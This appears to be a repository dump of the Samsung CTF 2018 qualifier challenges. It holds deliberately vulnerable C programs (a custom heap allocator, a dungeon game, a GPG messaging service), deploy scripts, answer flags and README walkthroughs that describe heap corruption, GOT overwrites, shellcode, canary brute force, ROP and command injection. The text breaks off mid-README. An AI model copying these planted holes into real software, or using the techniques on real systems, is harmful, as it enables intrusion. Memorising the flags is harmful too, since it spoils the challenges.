├── README.md ├── attack ├── CowBoy │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── run.sh │ │ ├── src │ │ │ ├── CowBoy │ │ │ └── flag │ │ └── start.sh │ └── prob │ │ ├── CowBoy │ │ ├── Makefile │ │ ├── libc-2.23.so │ │ ├── yay.c │ │ ├── yay.h │ │ └── yo.c ├── DungeonQuest │ ├── Makefile │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── DungeonQuest.xinetd │ │ ├── bin │ │ │ ├── DungeonQuest │ │ │ ├── flag │ │ │ ├── qemu-aarch64 │ │ │ └── run.sh │ │ └── start.sh │ └── src │ │ ├── DungeonQuest │ │ ├── Makefile │ │ └── pwnme.c ├── LeakIt │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── admin_gpg.conf │ │ ├── copybot.sh │ │ ├── gpg.conf │ │ ├── setup.sh │ │ └── start.sh │ ├── docker-compose.yml │ ├── prob │ │ ├── Makefile │ │ ├── leakit │ │ └── leakit.c │ ├── run.sh │ └── stop.sh ├── Through_The_Router │ ├── README.md │ ├── Rules.png │ └── ttr.json ├── WebCached │ ├── README.md │ └── deploy │ │ ├── Dockerfile │ │ ├── nginx.conf │ │ ├── requirements.txt │ │ ├── run.sh │ │ ├── src │ │ ├── run.py │ │ ├── session_interface.py │ │ └── templates │ │ │ └── main.html │ │ └── uwsgi.ini ├── catch_the_bug │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── bug │ │ ├── build_docker.sh │ │ ├── flag │ │ ├── libc-2.26.so │ │ ├── run_docker.sh │ │ ├── start.sh │ │ ├── stop_docker.sh │ │ └── xinetd_file │ └── prob │ │ ├── Makefile │ │ ├── inc │ │ ├── init.h │ │ ├── main.h │ │ ├── menu.h │ │ └── utils.h │ │ └── src │ │ ├── init.c │ │ ├── main.c │ │ ├── menu.c │ │ └── utils.c ├── crashcollector │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── crashcollector │ │ ├── flag │ │ ├── libc-2.23.so │ │ ├── run.sh │ │ └── super.pl │ └── prob │ │ ├── Makefile │ │ ├── crashcollector │ │ ├── crashcollector.c │ │ ├── libc-2.23.so │ │ └── regnum.h ├── dvchat │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── dvchat │ │ ├── flag │ │ ├── libc-2.23.so │ │ ├── run.sh │ │ └── super.pl │ └── prob │ │ ├── Makefile │ │ ├── dvchat │ │ ├── dvchat.c │ │ └── x.py └── noleak │ ├── README.md │ ├── deploy │ ├── Dockerfile │ ├── flag │ ├── noleak │ ├── run.sh │ └── super.pl │ └── src │ ├── Makefile │ ├── noleak │ ├── noleak.c │ └── super.pl ├── coding ├── HideInSSL │ ├── README.md │ └── prob │ │ ├── SSL_client.py │ │ ├── SSL_client_hello │ │ ├── SSL_server.py │ │ └── flag │ │ ├── 01.png │ │ ├── 02.tif │ │ ├── 03.gif │ │ ├── 04.jpg │ │ ├── 05.bmp │ │ ├── 06.png │ │ ├── 07.tif │ │ ├── 08.gif │ │ ├── 09.jpg │ │ ├── 10.bmp │ │ ├── 11.png │ │ ├── 12.tif │ │ ├── 13.gif │ │ ├── 14.jpg │ │ ├── 15.bmp │ │ ├── 16.png │ │ ├── 17.tif │ │ ├── 18.gif │ │ ├── 19.jpg │ │ ├── 20.bmp │ │ ├── 21.png │ │ └── 22.tif ├── Lambda_Beauty │ ├── Makefile │ ├── README.md │ ├── deploy │ │ ├── Dockerfile │ │ ├── Lambda │ │ │ ├── Ast.fs │ │ │ ├── Lambda.fs │ │ │ ├── Lambda.fsproj │ │ │ ├── Lexer.fs │ │ │ ├── Lexer.fsl │ │ │ ├── Parser.fs │ │ │ ├── Parser.fsi │ │ │ └── Parser.fsy │ │ ├── chal.sh │ │ ├── chal.xinetd │ │ ├── chal │ │ │ ├── Program.fs │ │ │ └── chal.fsproj │ │ ├── repl.sh │ │ ├── repl.xinetd │ │ ├── repl │ │ │ ├── Program.fs │ │ │ └── repl.fsproj │ │ ├── run.sh │ │ └── start.sh │ └── dist.zip └── What_does_the_drone_say? │ ├── README.md │ └── prob │ └── gen.py ├── crypto ├── Slider │ ├── README.md │ └── deploy │ │ ├── Dockerfile │ │ ├── run.sh │ │ ├── src │ │ ├── flag.txt │ │ └── slider.py │ │ └── start.sh ├── Tracer │ ├── README.md │ ├── deploy │ │ └── files.tar.gz │ └── prob │ │ ├── Makefile │ │ ├── What_I_did │ │ ├── flag │ │ ├── run.sh │ │ ├── yay.c │ │ ├── yay.h │ │ └── yo.c └── Volatile │ ├── README.md │ └── deploy │ ├── Volatile.tar.gz │ ├── data.txt │ ├── flag.txt │ ├── key.pem │ ├── rsa.py │ └── util.py ├── defense ├── BankRobber │ ├── README.md │ └── deploy │ │ └── src │ │ └── SCTFBank.sol ├── SDN-NotOpenNetwork │ ├── PacketGen.py │ ├── README.md │ └── non.json └── SSS_binary │ ├── README.md │ └── src │ ├── Makefile │ ├── astparser.c │ ├── astparser.h │ ├── asttree.c │ ├── asttree.h │ ├── runner.c │ ├── script.c │ ├── script.h │ ├── valcell.c │ ├── valcell.h │ ├── valenv.c │ └── valenv.h ├── qual_top10_players.png └── reversing ├── LowerLevel ├── README.md ├── deploy │ ├── curcuit.png │ └── output.txt └── prob │ ├── gen_output.py │ └── not7segwithdes.fzz ├── SMachine ├── README.md ├── deploy │ └── smachine.tar.gz └── prob │ ├── Makefile │ ├── flag.orig │ ├── main.c │ ├── main.h │ └── prob.sm └── dingJMax ├── README.md ├── deploy └── dingJMax └── prob ├── Makefile ├── note_gen.py ├── stage.h ├── yay.c ├── yay.h ├── yo.c └── yo.h /README.md: -------------------------------------------------------------------------------- 1 | # Samsung CTF 18 2 | Samsung CTF 2018 by KaisHack 3 | 4 | # Site 5 | - https://research.samsung.com/sctf2018 6 | 7 | # Qual Score 8 | ![Qual Top 10 Players](./qual_top10_players.png) 9 | 10 | # Qualification Round 11 | 12 | ### Attack (9) 13 | - [CowBoy](./attack/CowBoy) 14 | - [noleak](./attack/noleak) 15 | - [LeakIt](./attack/LeakIt) 16 | - [\[SDN\] Through the router](./attack/Through_The_Router) 17 | - [Catch the bug](./attack/catch_the_bug) 18 | - [Dungeon Quest](./attack/DungeonQuest) 19 | - [dvchat](./attack/dvchat) 20 | - [WebCached](./attack/WebCached) 21 | - [crashcollector](./attack/crashcollector) 22 | 23 | ### Defense (3) 24 | - [\[SDN\] Not Open Network](./defense/SDN-NotOpenNetwork) 25 | - [BankRobber](./defense/BankRobber) 26 | - [SSS_revenge](./defense/SSS_binary) 27 | 28 | ### Coding & Misc (3) 29 | - [HideInSSL](./coding/HideInSSL) 30 | - [What does the drone say?](./coding/What_does_the_drone_say%3F) 31 | - [λ: Beauty](./coding/Lambda_Beauty) 32 | 33 | ### Reversing (3) 34 | - [dingJMax](./reversing/dingJMax) 35 | - [LowerLevel](./reversing/LowerLevel) 36 | - [SMachine](./reversing/SMachine) 37 | 38 | ### Crypto (3) 39 | - [Tracer](./crypto/Tracer) 40 | - [Volatile](./crypto/Volatile) 41 | - [Slider](./crypto/Slider) 42 | 43 | 44 | -------------------------------------------------------------------------------- /attack/CowBoy/README.md: -------------------------------------------------------------------------------- 1 | # CowBoy 2 | 3 | ## Description 4 | 5 | ``` 6 | I made a new heap allocator. 7 | Would you test this one? 8 | 9 | (service address) 10 | (binary & libc download link) 11 | ``` 12 | 13 | ## How to run 14 | In deploy folder, 15 | ``` 16 | # ./run.sh 17 | ``` 18 | 19 | ## How to solve 20 | 1. When new heap chunk is created, next pointer is not initialized. 21 | 2. At fill menu(4), attacker can create free chunk. When bin size is same with the size of struct, written data will be filled over freed metadata. Thus, you can control next pointer of chunk metadata. 22 | 3. Using fake chunk metadata, you can point GOT from it. Leak libc base from GOT & Overwrite GOT 23 | 4. Overwrite free GOT with system address using given libc, and run system("cat flag"). 24 | 25 | ## FLAG 26 | ``` 27 | SCTF{H4v3_y0u_ev3r_seen_CowBoy_B1B0P?} 28 | ``` 29 | -------------------------------------------------------------------------------- /attack/CowBoy/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN apt update && apt -y upgrade 4 | 5 | RUN apt install -y tzdata 6 | ENV TZ=Asia/Seoul 7 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 8 | 9 | RUN apt install -y socat 10 | 11 | ENV PROB CowBoy 12 | RUN useradd -m $PROB 13 | WORKDIR /home/$PROB 14 | 15 | COPY ./start.sh /start.sh 16 | ADD ./src/* /home/$PROB/ 17 | RUN chmod +x /start.sh 18 | 19 | RUN chown -R root:$PROB /home/$PROB 20 | RUN chmod 750 /home/$PROB 21 | RUN chmod 440 /home/$PROB/flag 22 | 23 | USER $PROB 24 | CMD ["/start.sh"] 25 | 26 | EXPOSE 14697 27 | -------------------------------------------------------------------------------- /attack/CowBoy/deploy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker build -t cowboy . 4 | docker rm -f cowboy 5 | docker run -d --name cowboy \ 6 | -p 14697:14697 \ 7 | cowboy 8 | -------------------------------------------------------------------------------- /attack/CowBoy/deploy/src/CowBoy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/CowBoy/deploy/src/CowBoy -------------------------------------------------------------------------------- /attack/CowBoy/deploy/src/flag: -------------------------------------------------------------------------------- 1 | SCTF{H4v3_y0u_ev3r_seen_CowBoy_B1B0P?} 2 | -------------------------------------------------------------------------------- /attack/CowBoy/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | export TERM=xterm 3 | socat TCP-LISTEN:14697,pktinfo,reuseaddr,fork EXEC:"stdbuf -i 0 -o 0 /home/CowBoy/CowBoy" 4 | sleep infinity; 5 | -------------------------------------------------------------------------------- /attack/CowBoy/prob/CowBoy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/CowBoy/prob/CowBoy -------------------------------------------------------------------------------- /attack/CowBoy/prob/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | SOURCES=yo.c yay.c 3 | HEADERS=yay.h 4 | EXECUTABLES=CowBoy 5 | 6 | all: $(EXECUTABLES) 7 | 8 | $(EXECUTABLES): $(SOURCES) $(HEADERS) 9 | $(CC) -o $(EXECUTABLES) $(SOURCES) 10 | strip $(EXECUTABLES) 11 | 12 | 13 | clean: 14 | rm -f $(EXECUTABLES) 15 | -------------------------------------------------------------------------------- /attack/CowBoy/prob/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/CowBoy/prob/libc-2.23.so -------------------------------------------------------------------------------- /attack/CowBoy/prob/yay.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "yay.h" 9 | 10 | int ding_chunk_size[BIN_NUM] = {16, 32, 64, 128, 256, 512, 1024, 2048}; 11 | 12 | int ding_init() { 13 | int i, j; 14 | 15 | srand(time(NULL)); 16 | size_t prefix = ((size_t)rand() >> 4); 17 | ding_base = mmap((void *)(prefix << 16), PAGE * 16, 18 | PROT_READ|PROT_WRITE, 19 | MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 20 | -1, 21 | 0); 22 | 23 | if ((long long int)ding_base == -1) { 24 | return 1; 25 | } 26 | 27 | ding_mem_bitmap1 = (node *)malloc(BIN_NUM * 28 | sizeof(node)); 29 | ding_mem_bitmap2 = (char **)malloc(BIN_NUM * 30 | sizeof(char *)); 31 | 32 | for (i = 0; i < BIN_NUM; i++) { 33 | get_ptr(ding_mem_bitmap1, i)->next = NULL; 34 | ding_mem_bitmap2[i] = (char *)malloc(PAGE/ding_chunk_size[i]); 35 | 36 | for (j = 0; j < (PAGE/ding_chunk_size[i]); j++) { 37 | ding_mem_bitmap2[i][j] = 0; 38 | } 39 | } 40 | 41 | for(i = 0; i < 100000; i++) { 42 | malloc(rand() & 0xff); 43 | } 44 | 45 | return 0; 46 | } 47 | 48 | void* ding_malloc(unsigned short n) { 49 | int i, j; 50 | int chk_idx, inner_idx; 51 | 52 | void *res; 53 | node *new_chunk, *pivot_chunk; 54 | 55 | if (n > 2048) return (void *)-1; 56 | for (i = 0; i < BIN_NUM; i++) { 57 | if (n <= ding_chunk_size[i]) { 58 | chk_idx = i; 59 | break; 60 | } 61 | } 62 | 63 | inner_idx = -1; 64 | for (j = 0; j < (PAGE/ding_chunk_size[chk_idx]); j++) { 65 | if(!(ding_mem_bitmap2[chk_idx][j])) { 66 | ding_mem_bitmap2[chk_idx][j] = 1; 67 | inner_idx = j; 68 | break; 69 | } 70 | } 71 | 72 | if (inner_idx == -1) return (void *)-1; 73 | 74 | res = (void *)((size_t)ding_base + (chk_idx << 12) + 75 | inner_idx * ding_chunk_size[chk_idx]); 76 | 77 | new_chunk = (node *)malloc(sizeof(node)); 78 | new_chunk->addr = res; 79 | 80 | pivot_chunk = get_ptr(ding_mem_bitmap1, chk_idx); 81 | while (pivot_chunk->next != NULL) { 82 | pivot_chunk = pivot_chunk->next; 83 | } 84 | 85 | pivot_chunk->next = new_chunk; 86 | 87 | return res; 88 | } 89 | 90 | void ding_free(void *p) { 91 | int chk_idx = ((size_t)p & 0xf000) >> 12; 92 | int inner_idx = ((size_t)p & 0xfff) / ding_chunk_size[chk_idx]; 93 | 94 | node *pivot_chunk, *prev_pivot_chunk; 95 | 96 | ding_mem_bitmap2[chk_idx][inner_idx] = 0; 97 | 98 | prev_pivot_chunk = get_ptr(ding_mem_bitmap1, chk_idx); 99 | pivot_chunk = prev_pivot_chunk->next; 100 | while (pivot_chunk != NULL) { 101 | if (pivot_chunk->addr == p) { 102 | prev_pivot_chunk->next = pivot_chunk->next; 103 | free(pivot_chunk); 104 | break; 105 | } 106 | prev_pivot_chunk = pivot_chunk; 107 | pivot_chunk = pivot_chunk->next; 108 | } 109 | return; 110 | } 111 | -------------------------------------------------------------------------------- /attack/CowBoy/prob/yay.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define get_ptr(x, i) (&x[i]) 4 | #define PAGE 4096 5 | #define BIN_NUM 8 6 | 7 | typedef struct _node { 8 | void *addr; 9 | struct _node* next; 10 | } node; 11 | 12 | int ding_init(); 13 | void* ding_malloc(unsigned short n); 14 | void ding_free(void *p); 15 | 16 | void *ding_base; 17 | node *ding_mem_bitmap1; 18 | char **ding_mem_bitmap2; 19 | 20 | // 16, 32, 64, 128, 256, 512, 1024, 2048 21 | -------------------------------------------------------------------------------- /attack/CowBoy/prob/yo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "yay.h" 7 | 8 | extern int ding_chunk_size[BIN_NUM]; 9 | 10 | void do_ding_malloc() { 11 | unsigned short n; 12 | 13 | puts("Let's ding_malloc!"); 14 | printf("Give me size n < 2049: "); 15 | scanf("%hu", &n); 16 | getchar(); 17 | 18 | void *p = ding_malloc(n); 19 | 20 | printf("ding_malloc(%d) = %p\n", n, p); 21 | } 22 | 23 | void do_ding_free() { 24 | unsigned short n; 25 | int bin_idx, inner_idx; 26 | node *tmp_chunk; 27 | 28 | printf("bin num? : "); 29 | scanf("%hu", &n); 30 | getchar(); 31 | bin_idx = n; 32 | 33 | printf("chunk num? : "); 34 | scanf("%hu", &n); 35 | getchar(); 36 | inner_idx = n; 37 | 38 | tmp_chunk = get_ptr(ding_mem_bitmap1, bin_idx)->next; 39 | while (inner_idx) { 40 | tmp_chunk = tmp_chunk->next; 41 | inner_idx--; 42 | } 43 | 44 | ding_free(tmp_chunk->addr); 45 | } 46 | 47 | void do_show() { 48 | int i; 49 | node *pivot_chunk; 50 | for (i = 0; i < BIN_NUM; i++) { 51 | printf("bin[%d]: ", i); 52 | 53 | pivot_chunk = get_ptr(ding_mem_bitmap1, i)->next; 54 | while (pivot_chunk != NULL) { 55 | printf("%p ", pivot_chunk->addr); 56 | pivot_chunk = pivot_chunk->next; 57 | } 58 | 59 | puts(""); 60 | } 61 | } 62 | 63 | void do_fill() { 64 | unsigned short n; 65 | int bin_idx, inner_idx; 66 | node *tmp_chunk; 67 | char *buf; 68 | size_t chk_size; 69 | 70 | printf("bin num? : "); 71 | scanf("%hu", &n); 72 | getchar(); 73 | bin_idx = n; 74 | 75 | printf("chunk num? : "); 76 | scanf("%hu", &n); 77 | getchar(); 78 | inner_idx = n; 79 | 80 | tmp_chunk = get_ptr(ding_mem_bitmap1, bin_idx)->next; 81 | while (inner_idx) { 82 | tmp_chunk = tmp_chunk->next; 83 | inner_idx--; 84 | } 85 | 86 | chk_size = ding_chunk_size[((size_t)tmp_chunk->addr & 0xf000) >> 12]; 87 | 88 | buf = (char *)malloc(chk_size); 89 | memset(buf, 0, chk_size); 90 | 91 | printf("input: "); 92 | n = read(0, buf, chk_size); 93 | memcpy(tmp_chunk->addr, buf, n); 94 | free(buf); 95 | } 96 | 97 | void do_exit() { 98 | puts("Bye!"); 99 | exit(0); 100 | } 101 | 102 | void print_memu() { 103 | puts("----------------------------------------"); 104 | puts("[*] Testing dinggul's allocator..."); 105 | puts(""); 106 | puts("1. alloc"); 107 | puts("2. free"); 108 | puts("3. show heap chunks"); 109 | puts("4. fill data"); 110 | puts("5. exit"); 111 | puts("----------------------------------------"); 112 | return; 113 | } 114 | 115 | int main() { 116 | int menu; 117 | 118 | if (ding_init()) { 119 | puts("call admin"); 120 | exit(1); 121 | } 122 | 123 | while (1) { 124 | print_memu(); 125 | menu = getchar()-0x30; 126 | getchar(); 127 | switch (menu) { 128 | case 1: 129 | do_ding_malloc(); 130 | break; 131 | case 2: 132 | do_ding_free(); 133 | break; 134 | case 3: 135 | do_show(); 136 | break; 137 | case 4: 138 | do_fill(); 139 | break; 140 | case 5: 141 | do_exit(); 142 | break; 143 | default: 144 | puts("Wrong input :P"); 145 | break; 146 | } 147 | } 148 | return 0; 149 | } 150 | -------------------------------------------------------------------------------- /attack/DungeonQuest/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cd qemu-2.10.0 && \ 3 | ./configure --enable-user --disable-system --target-list=aarch64-linux-user && \ 4 | make 5 | -------------------------------------------------------------------------------- /attack/DungeonQuest/README.md: -------------------------------------------------------------------------------- 1 | # Dungeon Quest 2 | 3 | ## Description 4 | 5 | Can you kill the demon and get the flag? 6 | 7 | Running on `Qemu user-level emulation` with heap randomization + libc 8 | randomization. 9 | 10 | ## Comments 11 | 12 | 13 | 14 | ## How to solve 15 | 16 | 0. By analysing, you can easily find double free bug @ 0x401080. 17 | 1. Overwrite list head at global(0x4120D0) to main_arena using unsorted bin attack with double free bug (Something like in house of orange). You write any value to bss. 18 | 2. You can get arbitrary write by modifying list structure in bss. 19 | 3. Write shellcode into bss and make function pointer in list to point it. 20 | 4. Call function pointer and get Shell! (qemu usermode does not have NX) 21 | -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/ftp.daumkakao.com/g" /etc/apt/sources.list 4 | RUN sed -Ei 's/^# deb-src/deb-src/' /etc/apt/sources.list 5 | RUN apt-get update && apt-get -y dist-upgrade 6 | RUN apt-get build-dep -yy qemu 7 | RUN apt-get install -yy xinetd linux-libc-dev-arm64-cross libc6-arm64-cross 2.19 8 | 9 | ENV PROB DungeonQuest 10 | 11 | RUN useradd -m $PROB 12 | COPY ./$PROB.xinetd /etc/xinetd.d/$PROB 13 | COPY ./start.sh /start.sh 14 | 15 | ADD ./bin/* /home/$PROB/ 16 | 17 | RUN chmod +x /start.sh 18 | RUN chown -R root:$PROB /home/$PROB 19 | RUN chmod -R 750 /home/$PROB 20 | RUN chmod 740 /home/$PROB/flag 21 | 22 | WORKDIR /home/$PROB 23 | CMD ["/start.sh"] 24 | EXPOSE 9999 25 | -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/DungeonQuest.xinetd: -------------------------------------------------------------------------------- 1 | service DungeonQuest 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 / /home/DungeonQuest/run.sh 14 | # safety options 15 | per_source = 10 # the maximum instances of this service per source IP address 16 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 17 | #rlimit_as = 1024M # the Address Space resource limit for the service 18 | #access_times = 2:00-9:00 12:00-24:00 19 | } 20 | 21 | -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/bin/DungeonQuest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/DungeonQuest/deploy/bin/DungeonQuest -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/bin/flag: -------------------------------------------------------------------------------- 1 | SCTF{Why_NX_D0es_N0t_W0rk_TT} 2 | -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/bin/qemu-aarch64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/DungeonQuest/deploy/bin/qemu-aarch64 -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/bin/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd /home/DungeonQuest 3 | /home/DungeonQuest/qemu-aarch64 -L /usr/aarch64-linux-gnu /home/DungeonQuest/DungeonQuest 4 | -------------------------------------------------------------------------------- /attack/DungeonQuest/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /attack/DungeonQuest/src/DungeonQuest: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kaishack/sctf2018_qual/4615d5f521a5522dc32eab171a42e57d8a221bd4/attack/DungeonQuest/src/DungeonQuest -------------------------------------------------------------------------------- /attack/DungeonQuest/src/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | aarch64-linux-gnu-gcc-5 pwnme.c -o DungeonQuest 3 | aarch64-linux-gnu-strip DungeonQuest 4 | -------------------------------------------------------------------------------- /attack/DungeonQuest/src/pwnme.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct skillMacro { 7 | struct skillMacro *nxt; 8 | struct skillMacro *prv; 9 | int size; 10 | char *word; 11 | int (*dmgFunc) (int); 12 | }; 13 | 14 | struct _g{ 15 | int64_t demon_hp; 16 | int64_t hp; 17 | struct skillMacro *head; 18 | } g; 19 | 20 | /* XXX: overwrite head with unsorted bin attck and then trigger it*/ 21 | int skill_fireball(int x) { 22 | return 100; 23 | } 24 | int skill_iceball(int x) { 25 | return 1000 + x/2000; 26 | } 27 | int skill_meteo(int x) { 28 | return x/100; 29 | } 30 | 31 | int init_macro() { 32 | int (*dmgFuncs[3]) (int) = {skill_fireball, skill_iceball, skill_meteo}; 33 | for (int i = 0; i < 3; i++) { 34 | struct skillMacro *x = (struct skillMacro *)malloc(sizeof(struct skillMacro)); 35 | x->nxt = g.head; 36 | x->prv = NULL; 37 | x->dmgFunc = dmgFuncs[i]; 38 | x->word = NULL; 39 | g.head = x; 40 | } 41 | } 42 | 43 | struct skillMacro *find_skill(int i) { 44 | struct skillMacro *n = g.head; 45 | for(int j = 0; j < 3 && j != i; j++){ 46 | n = n->nxt; 47 | } 48 | return n; 49 | } 50 | 51 | int readline(char *buf, int length) { 52 | char ch; 53 | int i; 54 | for(i = 0; i < length; i++) { 55 | if(read(0, &ch, 1) == 1) { 56 | if(ch == '\n') { 57 | buf[i] = 0; 58 | return i; 59 | } 60 | buf[i] = ch; 61 | } else { 62 | buf[i] = 0; 63 | return i; 64 | } 65 | } 66 | buf[i-1] = 0; 67 | } 68 | int add_macro() { 69 | void (*dmgFunc) (int) = NULL; 70 | char buf[0x20] = {0,}; 71 | int i; 72 | printf("Which skill> "); 73 | readline(buf, 0x20 - 1); 74 | 75 | if(!strcmp(buf, "fireball")) { 76 | i = 0; 77 | } else if(!strcmp(buf, "iceball")) { 78 | i = 1; 79 | } else if(!strcmp(buf, "meteo")) { 80 | i = 2; 81 | } else { 82 | printf("No such skill\n"); 83 | return 0; 84 | } 85 | char buf2[0x400]; 86 | memset(buf2, 0, 0x400); 87 | printf("Which word to say?\n"); 88 | struct skillMacro *m = find_skill(i); 89 | if(m->word) { 90 | int sz = readline(buf2, m->size); 91 | memcpy(m->word, buf2, sz); 92 | } else { 93 | int sz = readline(buf2, 0x400-1); 94 | sz = sz + 1 < 0x100 ? 0x100 - 1 : sz; 95 | m->size = sz; 96 | m->word = calloc(1, sz + 1); 97 | memcpy(m->word, buf2, sz); 98 | } 99 | } 100 | 101 | int remove_skill() { 102 | char buf[0x20] = {0,}; 103 | int i; 104 | 105 | printf("Which skill> "); 106 | readline(buf, 0x20 - 1); 107 | 108 | if(!strcmp(buf, "fireball")) { 109 | i = 0; 110 | } else if(!strcmp(buf, "iceball")) { 111 | i = 1; 112 | } else if(!strcmp(buf, "meteo")) { 113 | i = 2; 114 | } else { 115 | printf("No such skill\n"); 116 | return 0; 117 | } 118 | struct skillMacro *m = find_skill(i); 119 | free(m->word); 120 | printf("macro for skill %s successfully deleted.\n", buf); 121 | } 122 | 123 | int readint() { 124 | char buf[10] = {0,}; 125 | int x = read(0, buf, 9); 126 | return atoi(buf); 127 | } 128 | 129 | void skill_demon_blackout() { 130 | printf("Demon cast blackout!\n"); 131 | close(1); 132 | close(2); 133 | } 134 | 135 | void skill_demon_doom() { 136 | printf("Demon cast doom!\n"); 137 | g.hp = 0; 138 | } 139 | 140 | void do_skill(int x) { 141 | struct skillMacro *m = find_skill(x); 142 | g.demon_hp -= m->dmgFunc(g.demon_hp); 143 | if(m->word) { 144 | printf("You shout %s!", m->word); 145 | } 146 | } 147 | 148 | void fight() { 149 | printf("You encountered demon!\n"); 150 | skill_demon_blackout(); 151 | int x; 152 | while (1) { 153 | printf("1) skill fireball\n"); 154 | printf("2) skill iceball\n"); 155 | printf("3) skill meteo\n"); 156 | printf("Which skill you wanna cast>"); 157 | x = readint(); 158 | do_skill(x-1); 159 | skill_demon_doom(); 160 | if (g.hp <= 0) { 161 | printf("you are dead bye!\n"); 162 | exit(0); 163 | } 164 | } 165 | } 166 | 167 | int skillmanage() { 168 | while (1) { 169 | printf("1) add macro\n"); 170 | printf("2) delete macro\n"); 171 | printf("3) go back\n"); 172 | printf("> "); 173 | int x = readint(); 174 | switch(x) { 175 | case 1: 176 | add_macro(); 177 | break; 178 | case 2: 179 | remove_skill(); 180 | break; 181 | default: 182 | return 0; 183 | } 184 | } 185 | } 186 | 187 | int main() { 188 | g.hp = 0x100; 189 | g.demon_hp = 0x800000; 190 | g.head = NULL; 191 | init_macro(); 192 | setvbuf(stdin, 0, 2, 0); 193 | setvbuf(stdout, 0, 2, 0); 194 | alarm(10); 195 | printf("Welcome to dungeon run!\n"); 196 | do { 197 | printf("1) Go front\n"); 198 | printf("2) Managing skill\n"); 199 | printf("3) Exit\n"); 200 | printf("Choice> "); 201 | switch(readint()) { 202 | case 1: 203 | fight(); 204 | break; 205 | case 2: 206 | skillmanage(); 207 | break; 208 | default: 209 | printf("bye\n"); 210 | exit(0); 211 | break; 212 | } 213 | } while(1); 214 | } 215 | -------------------------------------------------------------------------------- /attack/LeakIt/README.md: -------------------------------------------------------------------------------- 1 | # LeakIt 2 | 3 | ## Description 4 | This is a communication program that all the communications are encrypted with GPG key. Therefore, you can communicate with the admin. Can you decrypt the secret flag file sent to the admin? 5 | 6 | leakit.eatpwnnosleep.com:42424, [binary](#) 7 | 8 | ## FLAG 9 | SCTF{b4by_PwN_w1th_crit1Cal_memOry_l3ak} 10 | 11 | ## Challenge setup 12 | NOTE that this will add script 'copybot.sh' in the 'deploy' directory to your 13 | crontab. Please check before you execute this. 14 | ```/bin/sh 15 | $ ./run.sh 16 | ``` 17 | 18 | ## Exploit 19 | There are two solutions AFAWK in the leaking stage. 20 | 21 | ### phase 1 : Bypass Canary 22 | When you send msg, there happens a simple BOF. Because the server forks, you can 23 | bruteforce the canary. 24 | 25 | ### phase 2 : Arbitrary code execution 26 | After bypassing canary, you can simply construct an ROP chain to execute any 27 | command, which includes reading arbitrary stack. Here, I introduce possible two 28 | ways to execute arbitrary code. In fact, there are two vulnerabilities AFAIK. 29 | 30 | #### phase 2-1: ROP Chain 31 | Because you already know the canary, you can overwrite the return address. 32 | However, because you do not know the image base where current ELF is loaded, you 33 | have to identify this first. You can leak each byte of the return address just 34 | same as leaking the canary, which tells you the image base. With this 35 | information, you can now jump to any address in the current binary. 36 | 37 | #### phase 2-2: Command injection 38 | In addition, there is a command injection vulnerability when receiving a message 39 | from a user, which you can execute any arbitrary shell command. Note that 40 | '/proc' is unmounted so you cannot execute commands accessing '/proc' 41 | 42 | 43 | ### phase 3: Leak password 44 | Because the admin's GPG key id and passphrase are in the stack, you should read 45 | this to decrypt to encrypted flag file. You can leak password in various ways. 46 | Here, I introduce two possible ways. 47 | 48 | #### phase 3-1: Leaking password using SFP 49 | Because you already know the canary, you can modify the SFP located just before 50 | the return address. By modifying lower bytes of SFP, you can leak the id and 51 | password of the admin from the stack. 52 | 53 | #### phase 